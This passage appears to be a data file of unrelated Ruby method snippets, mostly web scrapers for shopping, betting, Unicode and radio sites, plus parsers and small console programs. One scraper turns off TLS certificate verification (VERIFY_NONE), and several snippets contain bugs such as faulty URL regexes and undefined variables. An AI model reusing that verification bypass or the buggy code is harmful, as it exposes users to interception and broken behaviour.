requested_verse_numbers.each do |requested_verse_number|\r\n requested_verses << verse(requested_verse_number) + \"\\n\"\r\n end\r\n\r\n requested_verses\r\n end", "def poll_extractions url=nil\n url ||= site.sample\n finders = all_finders\n begin\n pagetags = PageTags.new(url, @site, finders, true, false)\n correct_result = nil\n finders.each do |finder|\n pagetags.results_for(finder[:id]).each do |result|\n # pagetags.results_for(label).each do |result|\n # finder = result.finder\n puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n puts \"URL: #{url}\"\n label = finder[:label]\n finder.each { |key, value| puts \"\\t(#{key}: #{value})\" unless [:label, :count, :foundlings].include?(key) }\n # accepted = false\n if (foundstr = result.out.shift)\n unless column = correct_result && (foundstr == correct_result) && :yes_votes\n puts \"#{label}: #{foundstr}\"\n site_option = [\"Description\", \"Site Name\", \"Title\", \"Image\", \"Author Name\", \"Author Link\", \"Tags\"].include?(label) ? \" S(ave value to Site) \" : \"\"\n puts \"Good? [y](es) n(o) #{site_option} Q(uit)\"\n answer = gets.strip\n case answer[0]\n when 'Q'\n return nil\n when 'N', 'n'\n column = :no_votes\n if answer[0] == 'N'\n @site.reviewed = nil\n @site.save\n return false\n end\n when 'Y', 'y', nil\n column = :yes_votes\n # accepted = (answer[0] == 'Y')\n correct_result = foundstr\n # Include the finder on the site\n unless @site.finders.exists?(finds: finder[:label], selector: finder[:path], read_attrib: finder[:attribute])\n if existing = @site.finders.where(finds: finder[:label]).first\n existing.selector = finder[:path]\n existing.read_attrib = finder[:attribute]\n existing.save\n else\n @site.finders.create(finds: finder[:label], selector: finder[:path], read_attrib: finder[:attribute])\n @site.save\n end\n end\n # Saved the title finder: take a crack at the editing RegExp\n if label == \"Title\"\n done = false\n until done\n trimmed = trim_title foundstr\n puts \"Title In: #{foundstr}\"\n puts \"Title Out: #{trimmed}\"\n puts \"Good? (sS to save, qQ to quit, otherwise type new regexp for title) \"\n answer = gets.strip\n case answer\n when 's', 'S'\n site.save\n done = true\n when 'q', 'Q'\n done = true\n else\n @site.ttlcut = answer\n end\n end\n end\n when 'S'\n # Copy the value to the corresponding field on the site\n rest_of_line = answer[1..-1].strip\n field_val = rest_of_line.blank? ? foundstr : rest_of_line\n case label\n when \"Image\"\n @site.logo = field_val\n @site.save\n when \"Description\"\n @site.description = field_val\n @site.save\n when \"Site Name\", \"Title\"\n @site.name = field_val\n @site.save\n when \"Author Name\"\n TaggingServices.new(@site).tag_with field_val, User.super_id, type: \"Author\"\n @site.save\n when \"Author Link\"\n # Add a reference to the author, if any\n @site.tags(User.super_id, tagtype: \"Author\").each { |author|\n Reference.assert field_val, author, \"Home Page\"\n }\n when \"Tags\"\n ts = TaggingServices.new @site\n field_val.split(',').collect { |tagname|\n tagname = tagname.split(':').last.strip\n tagname if (tagname.length>0)\n }.compact.each { |tagname|\n ts.tag_with tagname, User.super_id\n }\n else\n puts \"There's no field on the site for #{label}\"\n end\n end\n end\n if column\n finder[column] = 0 unless finder[column]\n finder[column] = finder[column]+1\n end\n end\n end\n end\n return true\n rescue Exception => e\n puts \"Error: couldn't open page '#{url}' for analysis:\"\n puts e.to_s\n return false\n end\n end", "def initialize(twine_file)\n twine = Nokogiri::HTML(open(twine_file))\n @twine_data = twine.css('tw-storydata')\n if @twine_data.length == 0\n raise 'No twine data found in that file'\n end\n\n @title = @twine_data[0]['name']\n @format = @twine_data[0]['format']\n @creator = @twine_data[0]['creator']\n @creator_version = @twine_data[0]['creator_version']\n @ifid = @twine_data[0]['ifid']\n @format = @twine_data[0]['format']\n @options = @twine_data[0]['options']\n\n # Build passages from each <tw-passagedata> element\n @passages = @twine_data.css('tw-passagedata').collect do |passagedata|\n Passage.new(passagedata, self)\n end\n\n # Find the starting node and mark it as such\n @start = @passages.find do |e|\n e.id == @twine_data[0]['startnode']\n end\n @start.start = true\n\n # Normalize the coordinates of all passages (shift them over to start\n # at 0,0) and set the extents\n @extentX = 0\n @extentY = 0\n normalize_coordinates\n\n # Parse twine links\n @passages.each {|e| e.parse_links}\n @links = @passages.collect {|e| e.links}.flatten.compact\n end", "def scrape_blocks\n created_at = Time.now\n date = Time.now\n puts \"Scrape for #{date.to_date} at #{date}\"\n\n begin\n base_url = 'https://unicode-table.com'\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n blocks_page = Nokogiri::HTML(agent.get(\"#{base_url}/en/blocks/\").content)\n\n nav = blocks_page.css(\".navigation\")\n block_links = nav.css(\"a\")\n\n blocks = {}\n\n # https://unicode-table.com/en/blocks/georgian/\n block_links.each_with_index {|link, i|\n\n # next if !(i == 1 || i == 32 || i == 28)\n\n block_url = link.attr(\"href\")\n\n block_page = Nokogiri::HTML(agent.get(\"#{base_url}#{block_url}\").content)\n name = block_url.gsub(\"/en/blocks/\",\"\").gsub(\"/\",\"\")\n\n puts name\n\n range = block_page.css(\"h1 .range\").text().split(\"—\").map!(&:strip)\n group_el = block_page.css(\".group-info\")\n count = group_el.css(\"#symb-count\").text()\n type = group_el.css(\"#block-type\").text()\n languages = group_el.css(\"li:nth-child(3) span\").text().split(\",\").map!(&:strip)\n countries = group_el.css(\"li:nth-child(4) span\").text().split(\",\").map!(&:strip)\n character_table_el = block_page.css(\".unicode .unicode_table\")\n character_els = character_table_el.css(\"li.symb:not(.inactive)\")\n characters = []\n character_els.each{|character_el|\n character = {}\n character_a_el = character_el.css(\"a\")\n character[:letter] = character_a_el.text()\n character[:url] = character_a_el.attr(\"href\").text()\n character[:title] = character_el.attr(\"title\")\n code = character[:url].gsub('/en/', '').gsub('/', '')\n character[:code] = \"U+#{code}\"\n character[:html_code] = \"&##{code.to_i(16)};\"\n characters << character\n }\n\n blocks[name.to_sym] = {\n url: block_url,\n name: link.text,\n range: range,\n count: count,\n type: type,\n languages: languages,\n countries: countries,\n characters: characters\n }\n }\n\n\n\n # puts blocks.inspect\n File.write(\"unicode_blocks.json\", JSON.pretty_generate(blocks))\n File.write(\"unicode_blocks.min.json\", blocks.to_json)\n\n rescue Exception => e\n puts \"#{e} - exception occured\"\n end\n # end\n\nend", "def scrape_book(book)\n print \"\\nScraping #{book.title}:\" unless Rails.env.test?\n book.chapters_count.times do |i|\n print \"\\n#{i + 1}: \" unless Rails.env.test?\n scrape_chapter(book, i + 1) \n end\n end", "def user_choice_text_version\n this_here = pick_a_story\n puts \"\\n #{this_here.title}\"\n puts \"\\n\"\n Narrabot::Scraper.aesop_fable_text(this_here) if !this_here.text_and_moral\n puts this_here.text_and_moral\n puts \"\\n\"\n #puts \"Would you like me to read this story in my beautiful voice?\"\n #input = gets.chomp\n #switch = yes_or_no(input)\n #if switch == true\n # puts \"\"\n # \"#{this_here.text_and_moral}\".play (\"en\")\n #else\n # puts \"\"\n # play_and_puts(\"Okay\")\n #end\n end", "def initialize(b_string)\n\n @@count += 1 \n @no = @@count #No of Tags\n\n if /(\\d?\\d月)/ =~ b_string\n \n @month = $1\n @subtag = false\n\n else\n if /(【.+?】)/ =~ b_string\n \n @month = false\n @subtag = $1\n\n end\n end\n\n @title_s = (b_string =~ /】/)\n @title_e = (b_string =~ /\\s/)\n @title = b_string[@title_s+1,@title_e-@title_s-1]\n if /(\\s\\d\\d)/ =~ b_string\n \n @episode = $1\n\n else\n\n @episode = false\n\n end\n \n if /【独家正版】/ =~ b_string\n @bilibilionly_flag = true\n else\n @bilibilionly_flag = false\n end\n # judge if the tag is bilibilionly\n\n if /(www.+)/ =~ b_string\n @link = $1\n else\n puts \"字符串匹配失败:可能匹配失败字段为link\"\n end\n # get the link of tag\n\n end", "def create\n @scrap = Scrap.new(params[:scrap])\n\n\n\n require 'scrapifier'\n require 'nokogiri'\n require 'open-uri'\n require 'addressable/uri'\n require 'mechanize'\n require 'pattern-match'\n require 'rubygems'\n \n\n r = @url\n \n case r\n when /http?:\\/\\/www.gizmobaba.com[\\S]+/\n\tpage = Nokogiri::HTML(open(url,'User-Agent'=>'Mozilla/5.0 (Windows NT 6.0; rv:12.0) Gecko/20100101 Firefox/12.0 FirePHP/0.7.1')) \n \t#@url = r\n\t@title = page.xpath(\"//div[@class='ctl_aboutbrand']/h1\").text\n \t@desc = page.xpath(\"//p[@itemprop='description']\").text\n \t@price = page.xpath(\"//span[@itemprop='price']\").text\n \t@img = page.xpath(\"////img[@id='bankImage']/@src\")\n\n when /http?:\\/\\/www.myntra.com[\\S]+/\n\tpage = Nokogiri::HTML(open(url,'User-Agent'=>'Mozilla/5.0 (Windows NT 6.0; rv:12.0) Gecko/20100101 Firefox/12.0 FirePHP/0.7.1'))\n \t#@url = r\n\t@title = page.xpath(\"//h1[@class='title']\").text\n \t@desc = page.xpath(\"//div[@class='description']/p\").text\n \t@price = page.xpath(\"//div[@class='price']\").text\n \t@img = page.xpath(\"//div[@class='blowup']/img/@src\")\n\n else\n agent = Mechanize.new\n\tdata = r.scrapify(images: [:jpg] )\n\t@url = data[:uri]\n\t@title = data[:title]\n\t@desc = data[:description] \n\tcase r\n\t\twhen /http?:\\/\\/www.jabong.com[\\S]+/\n \t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@itemprop='price']\") \n \t @image = code.at(\"//img[@itemprop ='image']/@src\")\n\n\t\twhen /http?:\\/\\/www.flipkart.com[\\S]+/\n\t code = agent.get(r)\n \t\t@price = code.at(\"//span[@class='fk-font-verybig pprice vmiddle fk-bold']\")\n \t\t@image = code.at(\"//img[@id ='visible-image-small']/@src\")\n \n \t\twhen /http?:\\/\\/www.99lens.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='price']\")\n\t @image = code.at(\"//img[@id ='image']/@src\")\t\n\n\t\twhen /http?:\\/\\/www.amazon.in[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@id='priceblock_ourprice']\")\n\t\t@image = code.at(\"//img[@id ='landingImage']/@src\")\n\n\t\twhen /http?:\\/\\/www.americanswan.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='product-price-12782']\")\n\t\t@image = code.at(\"//img[@id ='image']/@src\")\n\n\t\twhen /http?:\\/\\/www.babyoye.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='current_product_price']\")\n\t\t@image = code.at(\"//img[@class ='google-analytics-event']/@src\")\n\n\t\twhen /http?:\\/\\/www.basicslife.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='price']\")\n\t\t@image = code.at(\"//a[@class='MagicZoomPlus']/img/@src\")\n\n\t\twhen /http?:\\/\\/www.bhaap.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='price']\")\n\t\t@image = code.at(\"//div[@class='product-img-box']/a/img/@src\")\n\n\t\twhen /http?:\\/\\/www.coke2home.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//p[@class='online_price29']\")\n\t\t@image = code.at(\"//a[@class='jqzoom2']/@href\")\n\n\t\twhen /http?:\\/\\/crazyflorist.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='regular-price']\")\n \t@image = code.at(\"//img[@itemprop='image']/@src\")\n\n\t\twhen /http?:\\/\\/www.dailyobjects.com[\\S]+/\t\n\t\tcode = agent.get(r)\n \t@price = code.at(\"//div[@class='do_detail_page_product_price']\")\n\t\t@image = code.at(\"//img[@itemprop='image']/@src\")\n\n \t\twhen /http?:\\/\\/www.fashionara.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@itemprop='lowprice']\")\n\t\t@image = code.at(\"//img[@itemprop='image']/@src\")\n\n\t\twhen /http?:\\/\\/www.fnp.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@id='INR']\")\n\t\t@image = code.at(\"//div[@class='slider']/ul/li/img/@src\")\n\n\t\twhen /http?:\\/\\/www.freecultr.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@id='product-price-14473']\")\n\t\t@image = code.at(\"//img[@id='zoom1']/@src\")\n\n\t\twhen /http?:\\/\\/www.gizmobaba.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='offer']\")\n\t\t@image = code.at(\"//img[@id='bankImage']/@src\")\n\n\t\twhen /http?:\\/\\/www.grabmore.in[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//div[@class='appr_price']\")\n\t\t@image = code.at(\"//img[@id='zoom1']/@src\")\n\n\t\twhen /http?:\\/\\/www.haladirams.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='price']\")\n\t\t@image = code.at(\"//img[@id='zoom_Img']/@src\")\n\t\n\t\twhen /http?:\\/\\/www.healthgenie.in[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@id='product-price-8924']\")\n\t\t@image = code.at(\"//img[@id='image1']/@src\")\n\n\t\twhen /http?:\\/\\/www.high5store.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@id='our_price_display']\")\n\t\t@image = code.at(\"//img[@id='bigpic']/@src\")\n\n\t\twhen /http?:\\/\\/www.indireads.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//p[@class='price']\")\n\t\t@image = code.at(\"//img[@class='attachment-shop_single wp-post-image']/@src\")\n\n\t\twhen /http?:\\/\\/www.kidzdeals.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='price']\")\n\t\t@image = code.at(\"//p[@class='product-image product-image-zoom']/a/img/@src\")\n\n\t\twhen /http?:\\/\\/www.metroshoes.net[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@itemprop='price']\")\n\t\t@image = code.at(\"//img[@id='bankImage']/@src\")\n\n\n\t\twhen /http?:\\/\\/www.pannkh.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='mrp']\")\n\t\t@image = code.at(\"//img[@id='largeImage']/@src\")\n\n\t\twhen /http?:\\/\\/www.pepperfry.com[\\S]+/\n \t\tcode = agent.get(r)\n\t @price = code.at(\"//li[@class='you_pay_price']\")\n\t\t@image = code.at(\"//img[@id='zoom_01']/@src\")\n\n\t\twhen /http?:\\/\\/www.planetsportsonline.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='offer']\")\n\t\t@image = code.at(\"//img[@id='bankImage']/@src\")\n\n\t\twhen /http?:\\/\\/www.purplle.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@class='normal-price d-b']\")\n\t\t@image = code.at(\"//img[@class='product-img']/@src\")\n\n\t\twhen /http?:\\/\\/www.shopatplaces.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//div[@class='price']\")\n\t\t@image = code.at(\"//img[@id='image']/@src\")\n\n\n\t\twhen /http?:\\/\\/www.slassy.com[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@itemprop='price']\")\n\t\t@image = code.at(\"//a[@class='productzoom']/@href\")\n\n\t\twhen /http?:\\/\\/www.smiledrive.in[\\S]+/\n\t\tcode = agent.get(r)\n\t @price = code.at(\"//span[@id='product-price-77']\")\n\t\t@image = code.at(\"//a[@id='zoom1']/img/@src\")\n\n\t\twhen /http?:\\/\\/www.stalkbuylove.com[\\S]+/\n\t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@class='price']\")\n\t\t@image = code.at(\"//img[@class='my_image_box']/@src\")\n\n\t\twhen /http?:\\/\\/www.yebhi.com[\\S]+/\n\t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@itemprop='price']\")\n \t@image = code.at(\"//img[@itemprop='image']/@src\")\n\n\t\twhen /http?:\\/\\/www.yepme.com[\\S]+/\n\t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@id='lblPayHead']\")\n\t\t@image = code.at(\"//img[@id='img2']/@src\")\n\n\t\twhen /http?:\\/\\/www.zovi.com[\\S]+/\n\t\tcode = agent.get(r)\n \t\t@price = code.at(\"//label[@id='price']\")\n\t\t@image = code.at(\"//section[@id='detail-image']/img/@src\")\n\n\t\twhen /http?:\\/\\/www.fabally.com[\\S]+/\n\t\tcode = agent.get(r)\n\t\t@price = code.at(\"//div[@class='codeArea']/span\")\n\t\t@image = code.at(\"//img[@id='prdimage']/@src\")\n\n\t\twhen /http?:\\/\\/www.beebayonline.com[\\S]+/\n \t\tcode = agent.get(r)\n\t\t@price = code.at(\"//span[@class='price']\")\n\t\t@image = code.at(\"//p[@class='product-image product-image-zoom']/a/@href\")\n\n\t\twhen /http?:\\/\\/www.foodpanda.in[\\S]+/ \n \t\tcode = agent.get(r)\n\t\t@price = code.at(\"//div[@class='restaurant-list-table last']\")\n\t\t@image = code.at(\"//div[@class='restaurant-content clearfix']/img/@src\")\n\n\t\twhen /http?:\\/\\/www.jewelskart.com[\\S]+/ \n \t\tcode = agent.get(r)\n\t\t@price = code.at(\"div[@class='lenskart']\")\n\t\t@image = code.at(\"//div[@id='slide-img']/a/img/@src\")\n\n\t\twhen /http?:\\/\\/www.lenskart.com[\\S]+/ \n \t\tcode = agent.get(r)\n\t\t@price = code.at(\"div[@class='lenskart']\")\n\t\t@image = code.at(\"//div[@id='slide-img']/a/img/@src\")\n\n\t\twhen /http?:\\/\\/www.moodsofcloe.com[\\S]+/ \n\t\tcode = agent.get(r)\n\t\t@price = code.at(\"//p[@class='productPrice color']\")\n\t\t@image = code.at(\"//div[@class='zImg om']/a/@href\")\n\n\t\twhen /http?:\\/\\/www.watchkart.com[\\S]+/ \n \t\tcode = agent.get(r)\n\t\t@price = code.at(\"div[@class='lenskart']\")\n\t\t@image = code.at(\"//div[@id='slide-img']/a/img/@src\")\n\n\t\twhen /http?:\\/\\/www.clapone.com[\\S]+/\n \t\tcode = agent.get(r)\n\t\t@price = code.at(\"//div[@class='price']\")\n\t\t@image = code.at(\"//img[@id='image']/@src\")\n\n\t\twhen /http?:\\/\\/www.fabfurnish.com[\\S]+/\n \t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@class='special_price_box']\")\n\t\t#@image = \n\n\t\twhen /http?:\\/\\/www.fashionequation.com[\\S]+/\n\t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@class='money']\")\n\t\t#@image = \n\n\t\twhen /http?:\\/\\/www.shopclues.com[\\S]+/\n \t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@id='sec_discounted_price_2631066']\")\n\t\t#@image = \n\n\t\twhen /http?:\\/\\/www.miladyavenue.com[\\S]+/\n \t\tcode = agent.get(r)\n \t@price = code.at(\"//span[@class='price-new']\")\n\t\t#@image = \n\n\t\twhen /http?:\\/\\/www.limeroad.com[\\S]+/\n \t\tcode = agent.get(r)\n \t\t#@price = code.at(\"//span[@class='price']\")\n\t\t#@image = \n\t\t\n\t\telse\n\t\t puts \" waiting for authentication to publish\"\n\t\n\n end\n\n end\n \n \[email protected] \n\n\n respond_to do |format|\n if @scrap.save\n format.html { redirect_to @scrap, notice: 'Scrap was successfully created.' }\n format.json { render :show, status: :created, location: @scrap }\n else\n format.html { render :new }\n format.json { render json: @scrap.errors, status: :unprocessable_entity }\n end\n end\n end", "def process_next_line\n @line_starts_with_tick = false\n @self_closing = false\n @inner_text = nil\n \n line = \"\"\n \n if @text[\"\\n\"] != nil\n line_break_index = @text.index \"\\n\"\n line = @text[0..line_break_index].strip\n @text = @text[line_break_index+1..-1]\n else\n line = @text.strip()\n @text = \"\"\n end\n \n @line_number += 1\n if line.length == 0\n return self\n end\n \n # Whole line embedded HTML, starting with back ticks:\n if line[0] == @embedding_token\n self.process_embedded_line line\n \n else\n # Support multiple tags on one line via \"\\-\\\" delimiter\n while true do\n line_split_list = line.split '\\\\-\\\\'\n lines = [line_split_list[0]]\n \n if line_split_list.length == 1\n line = line_split_list[0].strip\n break\n else\n lines << line_split_list[1..-1].join('\\\\-\\\\')\n end\n \n lines[0] = lines[0].strip\n selector = self.class.get_selector_from_line lines[0]\n self.process_selector((selector*1))\n rest_of_line = lines[0][selector.length..-1].strip\n rest_of_line = self.process_attributes rest_of_line\n self.add_html_to_output\n \n @tag = nil\n @tag_id = nil\n @tag_classes = []\n @tag_attributes = []\n @previous_level = @current_level * 1\n @current_level += 1\n line = lines[1..-1].join '\\\\-\\\\'\n end\n \n selector = self.class.get_selector_from_line line\n self.process_selector((selector*1))\n rest_of_line = line[selector.length..-1].strip\n rest_of_line = self.process_attributes rest_of_line\n \n if rest_of_line.index('<') == 0\n @inner_text = rest_of_line\n if self.class.get_tag_nest_level(@inner_text) < 0\n raise CompilerException, \"Too many '>' found on line #{@line_number}\"\n end\n \n while self.class.get_tag_nest_level(@inner_text) > 0 do\n if @text == \"\"\n raise CompilerException, \"Unmatched '<' found on line #{@line_number}\"\n \n elsif @text[\"\\n\"] != nil\n line_break_index = @text.index \"\\n\"\n # Guarantee only one space between text between lines.\n @inner_text << ' ' + @text[0..line_break_index].strip\n if @text.length == line_break_index + 1\n @text = \"\"\n else\n @text = @text[line_break_index+1..-1]\n end\n \n else\n @inner_text << @text\n @text = \"\"\n end\n end\n \n @inner_text = @inner_text.strip()[1..-2]\n \n elsif rest_of_line.index('/') == 0\n if rest_of_line.length > 0 and rest_of_line[-1] == '/'\n @self_closing = true\n end\n end\n \n self.add_html_to_output\n end\n \n self\n end", "def scrape(url)\n\t\t@page = Nokogiri::HTML(open(url))\n\n\t\t@bet_names = @page.xpath(BET_NAMES_SELECTOR)\n\t\t@bet_ids = @page.xpath(BET_IDS_SELECTOR)\n\n\t\t# find and create the bookies\n\t\t@bookies = @page.xpath(BOOKIES_SELECTOR).map { |bookie| Bookie.find_or_create_by(name: bookie['title'], short_name: bookie['data-bk'])}\n\n\t\t# each way info\n\t\t@each_fractions = @page.xpath(EACH_WAY_FRACTIONS_SELECTOR)\n\t\t@each_way_places = @page.xpath(EACH_WAY_PLACES_SELECTOR)\n\n\t\t@uid = @page.xpath(EVENT_UID)\n\n\t\t# time to map objects!\n\t\t@event = Event.find_or_create_by(uid: @uid.text)\n\t\[email protected] = @page.xpath(EVENT_NAME)\n\n\t\t# loop through the bets and get their odds per bookie\n\t\t@bet_ids.each_with_index do |bet_id, index|\n\n\t\t\tpath = '//tr[@data-bid=\"'+ bet_id.value + '\"]/td[@data-odig]/@data-odig'\n\n\t\t\t@bet = Bet.find_or_create_by(uid: bet_id.value)\n\t\t\[email protected] = @bet_names[index]\n\t\t\[email protected]\n\n\t\t\t@odds = @page.xpath(path)\n\n\t\t\t# create the odds with their price and associate the bookie\n\t\t\[email protected]_with_index do |odd_value, index|\n\t\t\t\todd = Odd.create(price: odd_value, bookie: @bookies[index], each_way_places: @each_way_places[index], each_fractions: (@each_fractions[index].to_r).to_f)\n\n\t\t\t\[email protected] << odd\n\t\t\tend\n\n\t\t\[email protected] << @bet\n\t\tend\n\tend", "def hi\r\n puts \"\\n\"*2+'Welcome to Vivixx Elections 2017. '+ \"\\n\"*2\r\n puts \"\\n\"+'Here are the candidates ' + \"[Votes in: #{@v}]:\"+\"\\n\"*2\r\n ctr=0\r\n @candidates.each do\r\n ctr +=1\r\n puts \"#{ctr}. #{@candidates[ctr-1]}\"\r\n end\r\n vote\r\nend", "def offers_parser\n SpinningCursor.run { message 'Done!' }\n\n parsed_offers = PageScrapper.page_scrapper.css('div#tab_specials_content a') # 40 deals\n SpinningCursor.stop\n parsed_offers\n end", "def process_text!\n return if self.processed || self.image.blank?\n\n tesseract_image = RTesseract.new(self.image.path, psm: 4)\n self.box_data = RTesseract::Box.new(self.image.path, psm: 4).words\n self.pdf = File.open(tesseract_image.to_pdf) if File.exist?(tesseract_image.to_pdf)\n self.text = tesseract_image.to_s.downcase\n self.line_count = self.text.split(\"\\n\").size\n\n ReceiptParser.new(self).process\n\n self.processed = true\n self.save!\n end", "def initialize(text)\n @text = text\n @sentences = []\n @result = {}\n @text.gsub!(\"\\n\", '')\n get_sentences\n get_words\n print_concordance\n end", "def parse_single_page(page)\n rows = page.search(\"form[name='search'] table > tr > td > table > tr\")\n\n vacation_name = ''\n country = ''\n auction_time = ''\n price = ''\n\n rows.each do |row|\n plain = row.text.gsub(/\\s*\\302\\240\\302\\240/, '').gsub(/\\s\\s/, '').strip\n if plain.start_with?(\"Name\")\n vacation_name = plain.gsub(/Name/, '')\n end\n if plain.start_with?(\"Primary Practice Place\")\n country = plain.gsub(/Primary Practice Place/, '')\n end\n if plain.start_with?(\"Practice auction_time\")\n auction_time = row.text.gsub(/\\s\\s/, '').gsub(/\\302\\240\\302\\240/, ' ').gsub(/Practice auction_time/, '').strip\n end\n end\n p [vacation_name, country, auction_time]\n\n RESULT_COLL.insert(:contact => [vacation_name, country, auction_time])\nend", "def abendprogramm\ndoc = tvprogrammabend(doc)\ndob = tvprogrammsatabend(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Programm für 20 Uhr 15\"\n object = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - 20:15\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n end\n request_completed\nend", "def getArticleWithHTML(showURL)\n\tpage = Nokogiri::HTML(open(showURL))\n\tshowTitle = page.css('td#contentTd table td h3 strong.title').text.strip\n\tshowDescription = page.css('td#contentTd p').text.strip\n\tepisodeTable = page.css('td#contentTd table td a.hmenu')\n\tepisodeTitle = []\n\tepisodeURL = []\n\tepisodeDate = []\n\tepisodeMaster = []\n\tepisodeDesc = []\n\t\t\n\tepisodeTable.each do |t|\n\t\tepisodeURL.push('http://www.moneyradio.org/'+t['href'])\n\t\ttitleText = t.text.strip\n\t\tputs titleText\n\tend\n\tf = 0\n\t#episodeURL = episodeURL[0..4]\n\tepisodeURL.each do |c|\n\t\tarticlePage = Nokogiri::HTML(open(c))\n\t\tcontent = articlePage.css('td#contentTd p').text.strip\n\t\tputs content\n\t\tepisodeDesc.push(content)\n\t\t#puts f.to_s\n\t\t#puts episodeTitle[f]\n\t\tsleep(3)\n\t\tf = f+1\n\tend\n\t#puts \"title: \"+episodeTitle.length.to_s + \"content: \"+episodeDesc.length.to_s\n\tk = 0\n\tepisodeURL.each do |j|\n\t\tepisode = EpisodePage.new\n\t\tepisode.name = episodeTitle[k]\n\t\tepisode.date = ''\n\t\t#episode.url = j\n\t\tepisode.desc = episodeDesc[k]\n\t\tk = k + 1\n\t\tepisodeMaster.push(episode)\n\tend\n\treturn episodeMaster\nend", "def verse(number)\n case number\n when 0\n \"No more bottles of beer on the wall, \" +\n \"no more bottles of beer.\\n\" +\n \"Go to the store and buy some more, \" +\n \"99 bottles of beer on the wall.\\n\"\n else\n \"#{number} bottles of beer on the wall, \" +\n \"#{number} bottles of beer.\\n\" +\n \"Take #{pronoun(number)} down and pass it around, \" +\n \"#{quantity(number - 1)} #{container(number - 1)} of beer on the wall.\\n\"\n end\nend", "def input_title\n puts \"Please enter a book title to see information and a preview\"\n book = gets.to_s\n results = search_book_by_name(book)\n results[\"items\"].each do|item|\n book = Bookinfo.new item[\"volumeInfo\"][\"title\"], item[\"volumeInfo\"][\"authors\"], item[\"volumeInfo\"][\"description\"]\n puts \"\\n\"\"The book #{book.title} by #{book.authors} is about #{book.description}\" \"\\n\" \"-------------------------------------\"\"\\n\" \nend\nnext_move\nend", "def finish_preparations\n munge\n @document.attributes['alternative_language_counter'] = @counter + 1\n @listing_text = @listing.convert\n @colist_text = @colist&.convert\n end", "def identify(verse_string)\n # 1. Get basic information about input\n v_syllables = syllables(verse_string)\n v_weight = syllables_weights(v_syllables)\n\n # 2. Discover possible meter candidates\n # Should return list of meters with relevant information for generating correction if appropriate.\n # (Including size of match, etc.)\n m = analyze_syllables(v_syllables)\n\n # 3. Explain meter candidates\n\n # 3.1 Exact match => Show meter name, information, split input according to match (if possible).\n\n # 3.2 Fuzzy match => Generate possible corrections between input and candidates\n\n # 4. Output object containing input data, result status, and candidate meters\n # (with corrections if appropriate). No un-necessary results.\n\n meter_candidates = m[:meters]\n v_padas = []\n m_hsh = metercount\n\n if meter_candidates == {}\n m[:status] = \"Verse highly defective , Can't find neter\"\n v_meters = {}\n correct = []\n\n elsif m[:status] == \"exact match\"\n meter = 